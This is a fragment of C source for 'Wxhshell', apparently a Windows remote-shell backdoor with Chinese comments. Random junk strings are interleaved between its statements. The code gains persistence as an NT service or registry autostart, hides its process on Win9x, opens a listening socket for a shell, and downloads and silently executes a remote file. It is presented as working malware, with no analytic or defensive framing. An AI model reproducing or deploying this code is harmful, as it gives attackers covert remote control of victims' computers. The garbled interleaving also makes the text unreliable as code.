b&-=fk ](^xA` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]E, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =s;7T!7! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $[IuEdc/ _v_ak4m> if (!NtQueryInformationProcess) return 0; +|^rz#X P}cGWfj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q'PA2a: if(!hProcess) return 0; m,-:(82 vh((HS-) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K !`t EW[ :[,n`0lH CloseHandle(hProcess); :c
c#e&BO <x,$ODso hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {"O'kx if(hProcess==NULL) return 0; si)920?E& \vKMNk;kz HMODULE hMod; ~]}7|VN.} char procName[255]; PE3l2kr unsigned long cbNeeded; mhh8<BI 92XzbbLp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uQrD}%GI P.LMu CloseHandle(hProcess); vX&Nh"0H& EFV'hMjS) if(strstr(procName,"services")) return 1; // 以服务启动 i:@00)V{, -(~CZ return 0; // 注册表启动 -$t#AYKz } NCBS=L: GBN^ *I // 主模块 c}lUP(Ss int StartWxhshell(LPSTR lpCmdLine) 7)z^*;x { _bu, 1EM SOCKET wsl; *uNa(yd BOOL val=TRUE; LC/6'4}_ int port=0; Q
R;Xj3]v struct sockaddr_in door; a3JG&6- 8h}o5B if(wscfg.ws_autoins) Install(); ?~hC.5 o|$l+TC port=atoi(lpCmdLine); pGzzv{H fC52nK&T8 if(port<=0) port=wscfg.ws_port; 2{% U\^- wm!Y5 WSADATA data; d A[I if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
?x=;?7 7vubkj& if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0DV
.1 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D `c
YQ- door.sin_family = AF_INET; :[?hU}9 door.sin_addr.s_addr = inet_addr("127.0.0.1"); LW
8LD|@ door.sin_port = htons(port); { owK~ t32
FNg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p<: bPw closesocket(wsl); Gk
g)\ 3 return 1; :>c33X} } >$j?2,Za(V K1Snag if(listen(wsl,2) == INVALID_SOCKET) { Q,S~+bD(z closesocket(wsl); l03{
ezJk[ return 1; +`>Tuz~ } 5ro^<P0f** Wxhshell(wsl); #(=8
RA:@ WSACleanup(); %\IB_M XvETys@d return 0; CB]#`|f ZF^$?;'3 } pyJY]"UHVE 4+"2K-] // 以NT服务方式启动 *")Req VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 589hfET { &c>%E%!" DWORD status = 0; C@1B?OfJ DWORD specificError = 0xfffffff; ova4 0}H7Xdkp serviceStatus.dwServiceType = SERVICE_WIN32; v"ZNS serviceStatus.dwCurrentState = SERVICE_START_PENDING; !Lkk1zo serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A{X:p3$eN serviceStatus.dwWin32ExitCode = 0; |7ct2o~un serviceStatus.dwServiceSpecificExitCode = 0; )B'&XLK serviceStatus.dwCheckPoint = 0; Vi1l^ Za serviceStatus.dwWaitHint = 0; n<q1itjD tZ\e:AAi hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {02$pO if (hServiceStatusHandle==0) return; %x{jmZ$} lgrD~Y (x status = GetLastError(); =`<9N% if (status!=NO_ERROR) u|(;SY { Pa)'xfQ$Y6 serviceStatus.dwCurrentState = SERVICE_STOPPED; dmA#v:$1 serviceStatus.dwCheckPoint = 0; %[S-"k serviceStatus.dwWaitHint = 0; %vn"tp serviceStatus.dwWin32ExitCode = status; gI~B _0x serviceStatus.dwServiceSpecificExitCode = specificError; "qh~wK J SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Qn)~b~ return; N$ oQK( } uvG'Kx UA4="/ serviceStatus.dwCurrentState = SERVICE_RUNNING; GY`mF1b serviceStatus.dwCheckPoint = 0; ~aBf. serviceStatus.dwWaitHint = 0; ) KvGJo)(" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fM/~k>wl } !#y_vz9 wE~&Y?^ // 处理NT服务事件,比如:启动、停止 Phq"A[4=O VOID WINAPI NTServiceHandler(DWORD fdwControl) k%D|17I { Z1}@N/>> switch(fdwControl) 1VKu3 { q!;u4J case SERVICE_CONTROL_STOP: ~n=oPm$pR serviceStatus.dwWin32ExitCode = 0; 'nIKkQ" N serviceStatus.dwCurrentState = SERVICE_STOPPED; ]A=yj@o$xN serviceStatus.dwCheckPoint = 0; +-r ~-b s serviceStatus.dwWaitHint = 0; 'vwu^u? { sEymwpm9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); AXpg_JC } *$]50 \W return; ni$;"RGC case SERVICE_CONTROL_PAUSE: oNhCa>)/ serviceStatus.dwCurrentState = SERVICE_PAUSED; NR3h|'eC break; *qZBq&7tb case SERVICE_CONTROL_CONTINUE: BaVooN~C serviceStatus.dwCurrentState = SERVICE_RUNNING; 5[y+X|Am break; !tzk7D case SERVICE_CONTROL_INTERROGATE: 3ytlD ' break; 6bDizS} }; B ({g|}|G+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); M3G ecjR } 0Ke2%+yqJ kBU`Q{. // 标准应用程序主函数 Xhs*nt%l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MWv(/_b { R=2"5Hy= 11vAx9 // 获取操作系统版本 s:K'I7_#@ OsIsNt=GetOsVer(); ?bAv{1dvT= GetModuleFileName(NULL,ExeFile,MAX_PATH); s<+;5, Q| @# =yC.s // 从命令行安装 NTo[di\_ if(strpbrk(lpCmdLine,"iI")) Install(); <A(Bq'eQM @_$Un&eo // 下载执行文件 :K~sazs7J if(wscfg.ws_downexe) { G0A\"2U if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^z`d2it WinExec(wscfg.ws_filenam,SW_HIDE); 3bRW]mP8 } fg7 7|xu)zYB if(!OsIsNt) { WMa`!Q // 如果时win9x,隐藏进程并且设置为注册表启动 Y P,>vzW HideProc(); 6e S~* StartWxhshell(lpCmdLine); LJ6L#es2 } ~/qBOeU3 else 3a|pk4M if(StartFromService()) h1H$3TpP // 以服务方式启动 &hUEOif StartServiceCtrlDispatcher(DispatchTable); U[? f@.& else $>7T s>8 // 普通方式启动 )5NWUuH 5 StartWxhshell(lpCmdLine); ik](k"1{ f/QwXO-U return 0; ^T#jBqe }
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